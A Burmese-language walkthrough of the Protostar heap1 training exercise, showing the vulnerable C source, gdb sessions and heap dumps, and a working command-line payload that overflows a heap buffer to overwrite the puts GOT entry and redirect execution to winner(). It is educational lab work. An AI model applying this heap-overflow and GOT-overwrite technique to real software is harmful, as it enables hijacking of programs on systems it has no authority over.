0x10 – Controlling EIP using Heap

Protostar က heap1 က EIP control လုပ္တာကိုေလ့လာဖို႕ အေထာက္ကူျပဳပါလိမ့္မယ္။

Source code

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

  

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

Debug မလုပ္ခင္ နည္းနည္းနားလည္ေအာင္ၾကည့္မယ္။ i1 နဲ႕ i2 မွာ malloc() ကိုသံုးထားတာကိုေတြ႕ရမွာျဖစ္တယ္။ ဒါေပမဲ့ argument နဲ႕ဆိုင္တာကေတာ့ i2->name မွာ malloc(8) ယူထားတာက က်ေနာ္တို႕နဲ႕ဆိုင္တဲ့အရာျဖစ္တယ္။

Debug လုပ္ၾကည့္မယ္

$ gdb heap1
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/heap1...done.
(gdb) set disassembly-flavor intel

main ရဲ႕ ret မွာ break လုပ္လိုက္မယ္။

(gdb) disas main
Dump of assembler code for function main:
0x080484b9 <main+0>:    push   ebp
0x080484ba <main+1>:    mov    ebp,esp
0x080484bc <main+3>:    and    esp,0xfffffff0
0x080484bf <main+6>:    sub    esp,0x20
0x080484c2 <main+9>:    mov    DWORD PTR [esp],0x8
0x080484c9 <main+16>:   call   0x80483bc <malloc@plt>
0x080484ce <main+21>:   mov    DWORD PTR [esp+0x14],eax
0x080484d2 <main+25>:   mov    eax,DWORD PTR [esp+0x14]
0x080484d6 <main+29>:   mov    DWORD PTR [eax],0x1
0x080484dc <main+35>:   mov    DWORD PTR [esp],0x8
0x080484e3 <main+42>:   call   0x80483bc <malloc@plt>
0x080484e8 <main+47>:   mov    edx,eax
0x080484ea <main+49>:   mov    eax,DWORD PTR [esp+0x14]
0x080484ee <main+53>:   mov    DWORD PTR [eax+0x4],edx
0x080484f1 <main+56>:   mov    DWORD PTR [esp],0x8
0x080484f8 <main+63>:   call   0x80483bc <malloc@plt>
0x080484fd <main+68>:   mov    DWORD PTR [esp+0x18],eax
0x08048501 <main+72>:   mov    eax,DWORD PTR [esp+0x18]
0x08048505 <main+76>:   mov    DWORD PTR [eax],0x2
0x0804850b <main+82>:   mov    DWORD PTR [esp],0x8
0x08048512 <main+89>:   call   0x80483bc <malloc@plt>
0x08048517 <main+94>:   mov    edx,eax
---Type <return> to continue, or q <return> to quit---
0x08048519 <main+96>:   mov    eax,DWORD PTR [esp+0x18]
0x0804851d <main+100>:  mov    DWORD PTR [eax+0x4],edx
0x08048520 <main+103>:  mov    eax,DWORD PTR [ebp+0xc]
0x08048523 <main+106>:  add    eax,0x4
0x08048526 <main+109>:  mov    eax,DWORD PTR [eax]
0x08048528 <main+111>:  mov    edx,eax
0x0804852a <main+113>:  mov    eax,DWORD PTR [esp+0x14]
0x0804852e <main+117>:  mov    eax,DWORD PTR [eax+0x4]
0x08048531 <main+120>:  mov    DWORD PTR [esp+0x4],edx
0x08048535 <main+124>:  mov    DWORD PTR [esp],eax
0x08048538 <main+127>:  call   0x804838c <strcpy@plt>
0x0804853d <main+132>:  mov    eax,DWORD PTR [ebp+0xc]
0x08048540 <main+135>:  add    eax,0x8
0x08048543 <main+138>:  mov    eax,DWORD PTR [eax]
0x08048545 <main+140>:  mov    edx,eax
0x08048547 <main+142>:  mov    eax,DWORD PTR [esp+0x18]
0x0804854b <main+146>:  mov    eax,DWORD PTR [eax+0x4]
0x0804854e <main+149>:  mov    DWORD PTR [esp+0x4],edx
0x08048552 <main+153>:  mov    DWORD PTR [esp],eax
0x08048555 <main+156>:  call   0x804838c <strcpy@plt>
0x0804855a <main+161>:  mov    DWORD PTR [esp],0x804864b
0x08048561 <main+168>:  call   0x80483cc <puts@plt>
0x08048566 <main+173>:  leave
---Type <return> to continue, or q <return> to quit---
0x08048567 <main+174>:  ret
End of assembler dump.
(gdb) break *main+174
Breakpoint 1 at 0x8048567: file heap1/heap1.c, line 35.

ျပီးတဲ့အခါမွာ input ထည့္ျပီး run ၾကည့္လိုက္မယ္။

(gdb) run AAAA BBBB
Starting program: /opt/protostar/bin/heap1 AAAA BBBB
and that's a wrap folks!

Breakpoint 1, 0x08048567 in main (argc=134513849, argv=0x3) at heap1/heap1.c:35
35      heap1/heap1.c: No such file or directory.
        in heap1/heap1.c

heap ကိုၾကည့္ဖို႕အတြက္ က်ေနာ္တို႕ဘာလုပ္ရမလဲဆိုရင္ heap ရဲ႕ address ကို သိဖို႕လိုတယ္။ stack တုန္းကေတာ့ esp ဆိုရတယ္။

(gdb) info proc mappings
process 1485
cmdline = '/opt/protostar/bin/heap1'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap1'
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/heap1
         0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/heap1
         0x804a000  0x806b000    0x21000          0           [heap]
        0xb7e96000 0xb7e97000     0x1000          0
        0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
        0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
        0xb7fd9000 0xb7fdc000     0x3000          0
        0xb7fdf000 0xb7fe2000     0x3000          0
        0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
        0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
        0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
        0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so

0x804a000 0x806b000 က heap ရဲ႕ address အစနဲ႕အဆံုးဆိုတာေတြ႕ရတယ္။

ဒီေတာ့ program ကလဲ break ထားျပီးသားျဖစ္တဲ့အတြက္ heap ကို ၾကည့္လိုက္မယ္။

(gdb) x/32wx 0x804a000
0x804a000:      0x00000000      0x00000011      0x00000001      0x0804a018
0x804a010:      0x00000000      0x00000011      0x41414141      0x00000000
0x804a020:      0x00000000      0x00000011      0x00000002      0x0804a038
0x804a030:      0x00000000      0x00000011      0x42424242      0x00000000
0x804a040:      0x00000000      0x00020fc1      0x00000000      0x00000000
0x804a050:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a070:      0x00000000      0x00000000      0x00000000      0x00000000

ဒါဘာေတြလဲ

ပံုထဲကအတိုင္းဆိုရင္ AAAA က i1->name ရဲ႕ေနရာမွာသိမ္းထားတာကိုျမင္ရမွာျဖစ္တယ္။ တကယ္လို႕ AAAA ကို ေနာက္ထပ္ ပိုထည့္လိုက္ရင္ သူ႕ေဘးက 0 ေတြရွိေနတဲ့ 4 bytes ကို overflow ျဖစ္သြားမွာလား ?

(gdb) run AAAABBBBCCCCDDDDEEEEFFFF 000011112222333344445555
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap1 AAAABBBBCCCCDDDDEEEEFFFF 000011112222333344445555

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x46464646 <Address 0x46464646 out of bounds>,
    src=0xbffffe7e "000011112222333344445555") at strcpy.c:40
40      strcpy.c: No such file or directory.
        in strcpy.c

Segmentation fault error ေတာ့တက္ေနျပီ 46 ေတြမွာတက္တာျဖစ္တယ္။

heap ကိုၾကည့္လိုက္မယ္

(gdb) x/32wx 0x804a000
0x804a000:      0x00000000      0x00000011      0x00000001      0x0804a018
0x804a010:      0x00000000      0x00000011      0x41414141      0x42424242
0x804a020:      0x43434343      0x44444444      0x45454545      0x46464646
0x804a030:      0x00000000      0x00000011      0x00000000      0x00000000
0x804a040:      0x00000000      0x00020fc1      0x00000000      0x00000000
0x804a050:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a070:      0x00000000      0x00000000      0x00000000      0x00000000

အေပၚက result နဲ႕ ျပန္ယွဥ္ၾကည့္လိုက္ရင္ 46464646 ေတြက ဘယ္သူ႕ကို overwrite သြားလို႕လဲ

0x0804a038 ကို overwrite သြားတယ္။ သူက i2->name ကို ျပန္ညႊန္ျပေပးမယ္ i2->priority မွာပါတဲ့အရာတစ္ခုျဖစ္တယ္။ ဒီေတာ့ က်ေနာ္တို႕သိရတာက i2->priority မွာပါတဲ့ address ကို သြားမွာျဖစ္တဲ့။ ဒီေတာ့ဘယ္ကိုေခၚသြားမလဲ ?

GOT overwrite using format string

Global Offset Table ဆီကိုေခၚသြားမယ္။ ဘာလို႕လဲဆိုရင္ program ကေရးထားတဲ့ထဲမွာ printf ကို ထုတ္ေပးထားတာေတြ႕ရပါလိမ့္မယ္။

0x08048561 <main+168>:  call   0x80483cc <puts@plt>

procedure linkage table ထဲမွာဘယ္ကို jump လဲ

(gdb) disas 0x80483cc
Dump of assembler code for function puts@plt:
0x080483cc <puts@plt+0>:        jmp    DWORD PTR ds:0x8049774
0x080483d2 <puts@plt+6>:        push   0x30
0x080483d7 <puts@plt+11>:       jmp    0x804835c
End of assembler dump.

0x8049774 ဆိုတာေတြ႕ရျပီ။ အဲ့ဒီေနရာကို က်ေနာ္တို႕ ခုန i2->priority ရဲ႕ i2->name ကို ညႊန္ျပတဲ့ေနရာမွာ overwrite လုပ္မယ္ဆိုရင္ ဘယ္လိုျဖစ္သြားမလဲ။

(gdb) r "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEE\x74\x97\x04\x08"`" 00001111222233334444
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap1 "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEE\x74\x97\x04\x08"`" 00001111222233334444

Program received signal SIGSEGV, Segmentation fault.
0x30303030 in ?? ()

Segmentation fault ျဖစ္တာေျပာင္းသြားျပီ။ 0x30 ကိုမသိဘူးလို႕ေျပာတယ္။

(gdb) info registers
eax            0x8049774        134518644
ecx            0x0      0
edx            0x15     21
ebx            0xb7fd7ff4       -1208123404
esp            0xbffffc6c       0xbffffc6c
ebp            0xbffffc98       0xbffffc98
esi            0x0      0
edi            0x0      0
eip            0x30303030       0x30303030
eflags         0x210246 [ PF ZF IF RF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

EIP ကို 30 ေတြနဲ႕ overwrite လုပ္ေနတာေတြ႕ရမွာျဖစ္တယ္။ Heap ထဲကိုၾကည့္လိုက္မယ္။

(gdb) x/32wx 0x804a000
0x804a000:      0x00000000      0x00000011      0x00000001      0x0804a018
0x804a010:      0x00000000      0x00000011      0x41414141      0x42424242
0x804a020:      0x43434343      0x44444444      0x45454545      0x08049774
0x804a030:      0x00000000      0x00000011      0x00000000      0x00000000
0x804a040:      0x00000000      0x00020fc1      0x00000000      0x00000000
0x804a050:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a070:      0x00000000      0x00000000      0x00000000      0x00000000

က်ေနာ္တို႕ GOT ထဲက address ကို overwrite လုပ္ခဲ့တာအဆင္ေျပသြားတယ္။ EIP ကိုလဲ control လုပ္နိုင္သြားတယ္။ ဟုတ္လား ဆိုတာၾကည့္လိုက္မယ္။

(gdb) x 0x08049774
0x8049774 <_GLOBAL_OFFSET_TABLE_+36>:   0x30303030

ဟုတ္တယ္ က်ေနာ္တုိ႕ GOT ကို overwrite လုပ္ခဲ့တာ ။ program က printf ကို call တဲ့အခ်ိန္မွာ GOT ထဲမွာ second argument က 0x30 ေတြေရာက္ေနတာျဖစ္တယ္။ ဒီလိုဆို EIP ကိုဘယ္လို control လုပ္တယ္ဆိုတာနားလည္သြားျပီ။ winner function ဆီကိုသြားဖို႕ပဲက်န္ေတာ့မယ္။

(gdb) x winner
0x8048494 <winner>:     0x83e58955

0x8048494 ကို 0x30 ျဖစ္တဲ့ 0 ေတြေနရာမွာ ျပန္အစားထိုးလိုက္မယ္။

(gdb) r "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEE\x74\x97\x04\x08"`" "`/bin/echo -ne "\x94\x84\x04\x08"`"
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap1 "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEE\x74\x97\x04\x08"`" "`/bin/echo -ne "\x94\x84\x04\x08"`"
and we have a winner @ 1523193203

Breakpoint 1, 0x08048567 in main (argc=134513849, argv=0x3) at heap1/heap1.c:35
35      heap1/heap1.c: No such file or directory.
        in heap1/heap1.c

Yay xD ရျပီ GDB အျပင္ဘက္ေတြဘာေတြမွာေရာ

$ ./heap1 "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEE\x74\x97\x04\x08"`" "`/bin/echo -ne "\x94\x84\x04\x08"`"
and we have a winner @ 1523193246

Nice 😀 Thanks